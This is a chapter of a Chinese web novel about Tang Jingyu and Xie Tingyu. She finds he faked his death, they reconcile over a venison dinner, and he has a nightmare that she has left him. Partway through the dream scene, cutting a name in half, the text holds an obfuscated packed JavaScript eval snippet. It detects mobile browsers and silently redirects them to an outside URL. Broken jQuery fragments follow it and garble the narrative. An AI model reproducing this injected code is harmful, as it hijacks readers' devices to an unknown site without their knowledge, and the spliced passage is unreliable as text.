棠惊雨仿佛石雕一样愣在原地。
此情景于她而言,惊悚程度不亚于在深夜的野坟里遇到诈死的“尸体”。
惊悚之余,竟然还有丝丝欣喜的情绪如雨后春笋般滋生。
很快又被一股熊熊燃烧的怒火代替——
王八蛋,王八蛋!
又骗我又骗我又骗我又骗我又骗我又骗我又骗我又骗我!
等棠惊雨在几轮浓烈的情绪冲击下回过神来时,发现自己已经不在床边,而是被他抱到腿上搂进怀里,一齐坐到靠近青铜鼎式炭炉的灯挂椅上。
靠得极近,能清晰地感受到他充满精神与力量感的活人气息。
真能演。棠惊雨愤恨道:“下作……怎么没把你自己咒死!”
终于等到她缓过神,谢庭钰放松地吁出一口气。
她的头搭着他的左肩,整个人斜靠在他的怀里,翻涌交织的情绪化作滚滚热泪落下。
他握住她的手臂将她扶坐起来,另一只手掖着袖角轻轻擦拭她脸上的泪痕,微仰着头看她,语调缓缓道:“不哭了。再哭下去眼睛都要坏了。
“都是我的错。
“是我不该先入为主地误会你。
“也不该不信你。
“更不该那样吓唬你。
“那天晚上我昏过去之前,想的都是你。
“想着我还没有好好地给你道歉,还没有乞求你的原谅。
“想着我要是就这么死了,你一个人在行宫怎么办?
“这世间再没有人能比我更疼你。
“所以我不能死。
“我得好好活着。
“活着得到你的宽恕,跟你好好过日子。”
字字如万钧的情意扑面而来。
他的眼眸如一池潋滟的春水,静静地,静静地望着她。
室内静寂了几息。
“你装什么——”后续的话到了嘴边,都变成呜咽。
棠惊雨又哭起来——为很多事情,很多回忆,很多情绪。
谢庭钰伸手捧着她的脸,要去亲她的唇。
被她轻易躲开。
她推开他的手,侧过身,伸臂环抱他的肩颈——任梨花落满肩头。
他抱紧她,难免眼眶湿热。
“都是我的错。是我不好。是我对不起你……”
“小人,狗官,无耻,下作,卑劣,伪君子,王八蛋……我恨你!”
谢庭钰无声地拥着她,两滴清泪落下,浸湿她颈侧的衣料。
只要人在身边,她如何痛骂,他都认。
激荡的情绪很快发泄完,她的哭声渐渐歇了。
还是庆幸的。
庆幸他还活着。
人只要还活着,很多很多的事情,就可以有转圜的余地。
她松开他的肩颈,慢慢坐起来垂眸看他。
两对湿热泛红的眼睛,近如咫尺地对望着。
仿佛一颗火星落入晒干的稻草堆。
轰——
一簇跳动的火苗顷刻间燃起熊熊大火。
炽火焚烧、吞没着所有的理智。
烧连成片的火海淹过来,淹过来,把凡人的血都煮沸。
怨憎、嗔恨、贪痴、妄念、疑忌、疯魔、求不得……腥苦生涩的各种情愫都下进去,滚熬成一碗春色烧骨的浓汤。
喝下去,魂魄都化作水雾。
飘飘荡荡地浮上天空,凝成繁华绮丽的霞。
屋外的雪变大了。
氛氲萧索,瀌瀌弈弈。
呼啸的冬风猛烈而无章法地灌入屋内。
柔软的白绸被吹得鼓起来,与前后左右同样鼓起来的白绸相撞。
冬风无章法,白绸落下的轨迹也无章法,底端扭绞在一起,风越吹,缠得越紧。
青铜炭炉里的银丝炭烧得更烈。
暖意融融,寒气不侵。
雪下了许久。若这时有人在浮荫山庄,推门出去站在旷月堂赏此番雪景,必将挥毫写下:
隔牖风惊竹,开门雪满山。
洒空深巷静,积素广庭闲。
入夜时分。
风雪已经小了许多。
窗前搁着一张四方平条桌,桌面摆满了新鲜的蔬菜肉食,中央放着长条炭炉,炉上架着烧烤架。
沐浴更衣完的二人,避开风口坐在桌前。
谢庭钰将烤好的鹿肉薄片装在瓷碗里,姿态讨好地递给身边的棠惊雨。
“尝尝。”他又将蘸料递了过去,“是跟那天赛马头奖一样新鲜的鹿肉。”
棠惊雨生气:“不一样!我不吃!”
“那比赛明年还有,我们明年再去赛一次好不好?”
“不好!不一样就是不一样。错过了就是错过了。”
她说着又要哭起来。
他急得匆匆放下筷子,连掉了一支在地上都没注意。
将人小心翼翼地拥进怀里,他耐心地哄道:“错过了这一场,往后还有很多场,也会有更多更好的头奖。不哭了,好吗?”
棠惊雨揪着他的衣襟,啜泣道:“谢庭钰,你永远欠我的。”
“是。”他轻抚她的腰背,“我还你一辈子,这辈子还不尽,就下辈子接着换还。”
沉默了两息。
棠惊雨:“哼!”
谢庭钰即刻松了心里紧绷着的一根弦,将人扶坐起来,双手捧着她的脸,用大拇指指腹轻轻拭去她脸上的两行泪,倾身亲了一下她的唇,又吻了一下额头,然后说:“想吃什么?”
她拨开他的手,坐正,将面前的那份烤鹿肉推给他,低头看着暗红轻燃的炭炉,轻声说:“再烤一份新的。”
谢庭钰呵笑出声,抬手捏了一下她的脸颊,说:“成心折腾我是吧?好——现在就给你烤一份新的。你自己先去舀碗干笋鸡汤喝。”
她起身,很快就捧回一碗热汤,拿着木勺小口小口地喝着。
人的改变是悄无声息的。
从前那个连“我希望能永远留在元光四年的除夕夜”这样的话都说不出口的棠惊雨,如今已经可以在他的面前肆意发脾气,毫无负担地说出自己内心真实的想法:你永远欠我一份头奖,一块鹿肉,一个深秋山林里阳光正好的日子。
她以前总觉得做“人”真是恶心。
其实不敢承认的是,做“人”也会上瘾的。
悲欢苦痛,喜乐哀愁都尝过一遍后,就会越来越想做“人”。
*
深宵风寒。
谢庭钰悠悠转醒,忽然发现棠惊雨的身影正在撩开帘幔要往外走。
他急忙掀开锦被,靸鞋也来不及穿,飞快跟了上去。
奇怪的是,不管他跑得如何快,就是追不上她,就是与她隔着两步远的距离。
明明她走得并不快,慢吞吞地,仿佛散步一样。
“棠——”
四周是浓墨一样的黑暗,除了他们,一个人都没有。
他望着她的背影,一直追,一直追。
无论他怎么喊她,在她的身后说什么好听的难听的话,她既不停下来,也没有回头看他,哪怕只是一眼。
潮水般的恐惧涌上来。
他几欲要哭。
追着追着,一路追出去,追到不知什么样的街道,又追到了河边。
他追着她踏进河水里。
离岸越来越远。
水面越漫越高,已经到了他的心口。
棠惊雨沉进河里。
他猛吸一口气,一下扎进河里。
昏暗的水里没有任何人的身影。
呼吸快要不够。
浮起来,四面看了看,岸上一片漆黑空无。
又沉下去,这里游那里也游,也是一片昏暗虚无。
呼吸殆尽。身体如灌铅般不断往河底下沉。
谢
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15776143|174730||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
庭钰骤然惊醒。
急急忙忙拨开床帐,靸鞋也来不及穿,赤脚迈出屋外。
连廊的防风灯笼下,有人在值守。正是曹子宁。
曹子宁见主子鞋也不穿地匆匆往前走,还以为出了什么连他都没有发现的大事,也急匆匆地追了上去。
曹子宁:“主子,发生什么事情了?”
谢庭钰突然停了下来,转身,紧紧握住他的手臂,语气激动地问他:“蕤蕤呢?你有没有看到蕤蕤往哪儿去了?她又离开了,又趁我不注意离开了——”
曹子宁被他癫狂的神态稍稍吓了一跳:“您是不是做噩梦了?”
谢庭钰:“她人呢!你有没有看到她往哪个方向去了?!”
曹子宁诧异道:“姑娘不在房里吗?我一直守在门外,没有看到任何人进出啊。”
正在谢庭钰怔愣时,一道清脆如击玉般的嗓音从身后传来——
“谢庭钰,你吵什么呢?”
谢庭钰回过头,看见棠惊雨正提着一盏羊角防风灯站在五步外的长廊下,身上裹着一件雪狐斗篷,细细的绒毛在风里浮动。
长廊光影昏暗,灯火如豆。
月色并不明朗,影影绰绰。
分不清她是真是幻。
谢庭钰三两步来到她面前,突然停下,低头,小心翼翼地看她。
“蕤蕤?”呼出的白雾瞬间散在寒风里。
“嗯?”棠惊雨抬头看他,“怎么了?”
他叹息地笑出声,伸臂将她紧紧搂进怀里。
是温暖的,具体的,馨香的拥抱。
紧绷的身体松懈下来,脑子得以意识到身体衣着单薄。
谢庭钰打了一个喷嚏。
他身上的伤还没有痊愈,又赤着脚,棠惊雨拍拍他的手臂示意他松开。
她将宽大而厚实的斗篷解下来,裹在二人身上。
二人同披一件斗篷。
他负责抓好斗篷两端,她提着灯引路似的带他往屋里走。
他牢牢地粘住她的身侧,垂眸看着二人的脚步和交叠在一起的影子,乖乖地跟她回去。
等重新收拾好,再入被安睡时,谢庭钰从她的身后抱住她,煞有其事地说:“我觉得女娲造了你,就是为了让你遇见我,跟我在一起的。”
棠惊雨气笑了:“谢大人这厚颜无耻的功力,简直突飞猛进。”
“反正你离了我,肯定不行。”
“嘁——”
“没我在身边,你是不会开心的。”
“……”棠惊雨抱着久违的药枕,懒得搭理他。
安静了一会儿后。
谢庭钰忽然说:“对不起。”
棠:“……”
谢:“我真的知道错了。再给我一次机会好吗?”
棠:“你总是说话不算数。”
谢:“再也不会了。我发誓,再有一次我就不得好死。”
棠:“换一个毒咒吧。就换……再有一次,我们生生世世永不见面。”
谢:“不行!绝对不行!”
棠:“你发不发?”
安静,安静,还是安静。
“……”谢庭钰假装睡着。
“……”棠惊雨暗骂,“王八蛋!”
其实这一次,她不会再离开了。
她从来都认为自己的人生就是“求不得”,因此为了避免痛苦,极少去争取过什么东西。
隐居,也不过是当年因“求不得”而劝解宽慰自己的一个十足恰当的逃避理由。
当草木也是在逃避,因为这样就可以不用受人世之苦了。
但现在,做“人”也不错。
如今的她,有重头再来的勇气,也有势在必得的信心。
思及此处,棠惊雨渐渐宽心,在他的怀里找了一个舒服的姿势,合上双眼入睡。
意识朦胧间,一个轻柔的吻落在脖颈处。